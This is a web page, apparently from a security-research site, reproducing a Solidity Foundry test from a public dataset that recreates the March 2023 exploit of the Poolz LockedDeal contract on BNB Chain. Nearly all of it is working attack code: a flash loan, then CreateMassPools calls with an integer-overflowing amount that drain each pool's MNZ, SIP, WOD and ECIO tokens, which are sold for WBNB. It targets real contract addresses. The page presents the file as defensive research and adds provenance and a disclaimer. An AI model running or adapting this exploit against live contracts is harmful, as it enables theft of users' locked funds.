Public reproduction file

src/test/2023-03/poolz_exp.sol

Public reproduction file for dataset entry - Poolz.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-03/poolz_exp.sol363 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7contract ContractTest is Test {
8    IDPPAdvanced constant dppAdvanced = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
9    WBNB constant wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
10 
11    IERC20 constant mnz = IERC20(0x861f1E1397daD68289e8f6a09a2ebb567f1B895C);
12 
13    IERC20 constant wod = IERC20(0x298632D8EA20d321fAB1C9B473df5dBDA249B2b6);
14 
15    IERC20 constant sip = IERC20(0x9e5965d28E8D44CAE8F9b809396E0931F9Df71CA);
16 
17    IERC20 constant ecio = IERC20(0x327A3e880bF2674Ee40b6f872be2050Ed406b021);
18 
19    IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
20 
21    IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
22 
23    LockedDeal constant poolzpool = LockedDeal(payable(0x8BfAA473a899439d8E07BF86a8C6cE5De42fE54B));
24 
25    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
26 
27    function setUp() public {
28        cheats.createSelectFork("bsc", 26_475_403);
29    }
30 
31    function testExploit() external {
32        bytes memory data;
33        address assetTo = address(this);
34        data = "poolz";
35        dppAdvanced.flashLoan(1e18, 0, assetTo, data);
36    }
37 
38    function DPPFlashLoanCall(address, uint256, uint256, bytes memory data) external {
39        if (keccak256(data) == keccak256("poolz")) {
40            console.log("Flashloan attacks");
41            emit log_named_decimal_uint("[Before mnz Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);
42 
43            address[] memory swapPath = new address[](3);
44 
45            wbnb.withdraw(1e18);
46 
47            swapPath[0] = address(wbnb);
48            swapPath[1] = address(busd);
49            swapPath[2] = address(mnz);
50 
51            pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);
52 
53            mnz.approve(address(poolzpool), type(uint256).max);
54            sip.approve(address(poolzpool), type(uint256).max);
55            ecio.approve(address(poolzpool), type(uint256).max);
56            wod.approve(address(poolzpool), type(uint256).max);
57 
58            mnz.approve(address(pancakeRouter), type(uint256).max);
59            sip.approve(address(pancakeRouter), type(uint256).max);
60            ecio.approve(address(pancakeRouter), type(uint256).max);
61            wod.approve(address(pancakeRouter), type(uint256).max);
62 
63            uint256 mnz_balance = mnz.balanceOf(address(poolzpool));
64            uint256 overflow_data;
65 
66            overflow_data = type(uint256).max - mnz_balance + 2;
67 
68            uint64[] memory begintime = new uint64[](2);
69            begintime[0] = uint64(block.timestamp);
70            begintime[1] = uint64(block.timestamp);
71 
72            uint256[] memory transfer_data = new uint256[](2);
73            transfer_data[0] = overflow_data;
74            transfer_data[1] = mnz_balance;
75 
76            address[] memory owner_addr = new address[](2);
77            owner_addr[0] = address(this);
78            owner_addr[1] = address(this);
79 
80            uint256 firstPoolId;
81            uint256 lastPoolId;
82 
83            (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(mnz), begintime, transfer_data, owner_addr);
84 
85            poolzpool.WithdrawToken(lastPoolId);
86 
87            uint256 mnz_number = mnz.balanceOf(address(this));
88 
89            emit log_named_decimal_uint("[mnz Exp] mnz pool balance", mnz_number, 18);
90 
91            sellmnz();
92 
93            emit log_named_decimal_uint("[After mnz Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);
94 
95            wbnb.withdraw(1e18);
96 
97            emit log_named_decimal_uint("[Before sip Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);
98 
99            swapPath[0] = address(wbnb);
100            swapPath[1] = address(busd);
101            swapPath[2] = address(sip);
102 
103            pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);
104 
105            uint256 sip_balance = sip.balanceOf(address(poolzpool));
106            emit log_named_decimal_uint("[sip Exp] pool sip  balance", sip.balanceOf(address(poolzpool)), 18);
107 
108            overflow_data = type(uint256).max - sip_balance + 2;
109 
110            transfer_data[0] = overflow_data;
111            transfer_data[1] = sip_balance;
112 
113            (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(sip), begintime, transfer_data, owner_addr);
114 
115            poolzpool.WithdrawToken(lastPoolId);
116 
117            sellsip();
118 
119            emit log_named_decimal_uint("[After sip Exp] pool sip  balance", sip.balanceOf(address(poolzpool)), 18);
120 
121            emit log_named_decimal_uint("[After sip Exp] user wbnb  balance", wbnb.balanceOf(address(this)), 18);
122 
123            wbnb.withdraw(1e18);
124 
125            emit log_named_decimal_uint("[Before wod Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);
126 
127            address[] memory simplepath = new address[](2);
128 
129            simplepath[0] = address(wbnb);
130            simplepath[1] = address(wod);
131 
132            pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, simplepath, address(this), block.timestamp);
133 
134            uint256 wod_balance = wod.balanceOf(address(poolzpool));
135            emit log_named_decimal_uint("[wod Exp] pool wod  balance", wod.balanceOf(address(poolzpool)), 18);
136 
137            overflow_data = type(uint256).max - wod_balance + 2;
138 
139            transfer_data[0] = overflow_data;
140            transfer_data[1] = wod_balance;
141 
142            (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(wod), begintime, transfer_data, owner_addr);
143 
144            poolzpool.WithdrawToken(lastPoolId);
145 
146            sellwod();
147 
148            emit log_named_decimal_uint("[After wod Exp] pool wod  balance", wod.balanceOf(address(poolzpool)), 18);
149 
150            emit log_named_decimal_uint("[After wod Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);
151 
152            wbnb.withdraw(1e18);
153 
154            emit log_named_decimal_uint("[Before ecio Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);
155 
156            swapPath[0] = address(wbnb);
157            swapPath[1] = address(busd);
158            swapPath[2] = address(ecio);
159 
160            pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);
161 
162            uint256 ecio_balance = ecio.balanceOf(address(poolzpool));
163 
164            emit log_named_decimal_uint("[ecio Exp] pool ecio  balance", ecio.balanceOf(address(poolzpool)), 18);
165 
166            overflow_data = type(uint256).max - ecio_balance + 2;
167 
168            transfer_data[0] = overflow_data;
169            transfer_data[1] = ecio_balance;
170 
171            (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(ecio), begintime, transfer_data, owner_addr);
172 
173            poolzpool.WithdrawToken(lastPoolId);
174 
175            sellecio();
176 
177            emit log_named_decimal_uint("[After ecio Exp] pool ecio  balance", ecio.balanceOf(address(poolzpool)), 18);
178 
179            emit log_named_decimal_uint("[After ecio Exp] wbnb  balance", wbnb.balanceOf(address(this)), 18);
180 
181            emit log_named_decimal_uint(
182                "[Total exploit wbnb balance ] wbnb  balance", wbnb.balanceOf(address(this)), 18
183            );
184 
185            wbnb.transfer(address(dppAdvanced), 1 * 1e18);
186        }
187    }
188 
189    function sellecio() internal {
190        address[] memory path = new address[](3);
191        path[0] = address(ecio);
192        path[1] = address(busd);
193        path[2] = address(wbnb);
194        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
195            ecio.balanceOf(address(this)), 0, path, address(this), block.timestamp
196        );
197    }
198 
199    function sellwod() internal {
200        address[] memory path = new address[](2);
201        path[0] = address(wod);
202        path[1] = address(wbnb);
203        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
204            wod.balanceOf(address(this)), 0, path, address(this), block.timestamp
205        );
206    }
207 
208    function sellsip() internal {
209        address[] memory path = new address[](3);
210        path[0] = address(sip);
211        path[1] = address(busd);
212        path[2] = address(wbnb);
213        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
214            sip.balanceOf(address(this)), 0, path, address(this), block.timestamp
215        );
216    }
217 
218    function sellmnz() internal {
219        address[] memory path = new address[](3);
220        path[0] = address(mnz);
221        path[1] = address(busd);
222        path[2] = address(wbnb);
223        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
224            mnz.balanceOf(address(this)), 0, path, address(this), block.timestamp
225        );
226    }
227 
228    receive() external payable {}
229}
230 
231interface IDPPAdvanced {
232    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes memory data) external;
233}
234 
235interface LockedDeal {
236    event NewPoolCreated(uint256 PoolId, address Token, uint64 FinishTime, uint256 StartAmount, address Owner);
237    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
238    event PoolApproval(uint256 PoolId, address Spender, uint256 Amount);
239    event PoolOwnershipTransfered(uint256 PoolId, address NewOwner, address OldOwner);
240    event TransferIn(uint256 Amount, address From, address Token);
241    event TransferInETH(uint256 Amount, address From);
242    event TransferOut(uint256 Amount, address To, address Token);
243    event TransferOutETH(uint256 Amount, address To);
244 
245    function ApproveAllowance(uint256 _PoolId, uint256 _Amount, address _Spender) external;
246 
247    function CreateMassPools(
248        address _Token,
249        uint64[] memory _FinishTime,
250        uint256[] memory _StartAmount,
251        address[] memory _Owner
252    ) external returns (uint256, uint256);
253 
254    function CreateNewPool(
255        address _Token,
256        uint64 _FinishTime,
257        uint256 _StartAmount,
258        address _Owner
259    ) external returns (uint256);
260 
261    function CreatePoolsWrtTime(
262        address _Token,
263        uint64[] memory _FinishTime,
264        uint256[] memory _StartAmount,
265        address[] memory _Owner
266    ) external returns (uint256, uint256);
267 
268    function GetFee() external view returns (uint16);
269 
270    function GetMinDuration() external view returns (uint16);
271 
272    function GetMyPoolsId() external view returns (uint256[] memory);
273 
274    function GetPoolAllowance(uint256 _PoolId, address _Address) external view returns (uint256);
275 
276    function GetPoolData(
277        uint256 _id
278    ) external view returns (uint64, uint256, address, address);
279 
280    function GovernerContract() external view returns (address);
281 
282    function IsPayble() external view returns (bool);
283 
284    function PozFee() external view returns (uint256);
285 
286    function PozTimer() external view returns (uint256);
287 
288    function SetFee(
289        uint16 _fee
290    ) external;
291 
292    function SetMinDuration(
293        uint16 _minDuration
294    ) external;
295 
296    function SetPOZFee(
297        uint16 _fee
298    ) external;
299 
300    function SetPozTimer(
301        uint256 _pozTimer
302    ) external;
303 
304    function SplitPoolAmount(uint256 _PoolId, uint256 _NewAmount, address _NewOwner) external returns (uint256);
305 
306    function SplitPoolAmountFrom(uint256 _PoolId, uint256 _Amount, address _Address) external returns (uint256);
307 
308    function SwitchIsPayble() external;
309 
310    function TransferPoolOwnership(uint256 _PoolId, address _NewOwner) external;
311 
312    function WhiteListId() external view returns (uint256);
313 
314    function WhiteList_Address() external view returns (address);
315 
316    function WithdrawERC20Fee(address _Token, address _to) external;
317 
318    function WithdrawETHFee(
319        address _to
320    ) external;
321 
322    function WithdrawToken(
323        uint256 _PoolId
324    ) external returns (bool);
325 
326    function isTokenFilterOn() external view returns (bool);
327 
328    function isTokenWhiteListed(
329        address _tokenAddress
330    ) external view returns (bool);
331 
332    function maxTransactionLimit() external view returns (uint256);
333 
334    function name() external view returns (string memory);
335 
336    function owner() external view returns (address);
337 
338    function renounceOwnership() external;
339 
340    function setGovernerContract(
341        address _address
342    ) external;
343 
344    function setMaxTransactionLimit(
345        uint256 _newLimit
346    ) external;
347 
348    function setWhiteListAddress(
349        address _address
350    ) external;
351 
352    function setWhiteListId(
353        uint256 _id
354    ) external;
355 
356    function swapTokenFilter() external;
357 
358    function transferOwnership(
359        address newOwner
360    ) external;
361 
362    receive() external payable;
363}

Analysis

Dataset entry

Public Foundry test for “- Poolz” (2023-03-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

8 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-03/BIGFI_exp.solSame month in the dataset · 89 lines
src/test/2023-03/DBW_exp.solSame month in the dataset · 195 lines
src/test/2023-03/DKP_exp.solSame month in the dataset · 93 lines
src/test/2023-03/Euler_exp.solSame month in the dataset · 148 lines
src/test/2023-03/paraspace_exp.solSame month in the dataset · 284 lines
src/test/2023-03/Phoenix_exp.solSame month in the dataset · 123 lines
src/test/2023-03/safeMoon_exp.solSame month in the dataset · 168 lines
src/test/2023-03/Thena_exp.solSame month in the dataset · 104 lines

File record

Name: Poolz
Path: src/test/2023-03/poolz_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 842ce2b305dfb9fa3ea224b49277d4df907e962a
Language: Solidity
Size: 364 lines
Date: 2023-03-15
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-03/poolz_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 842ce2b305dfb9fa3ea224b49277d4df907e962a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.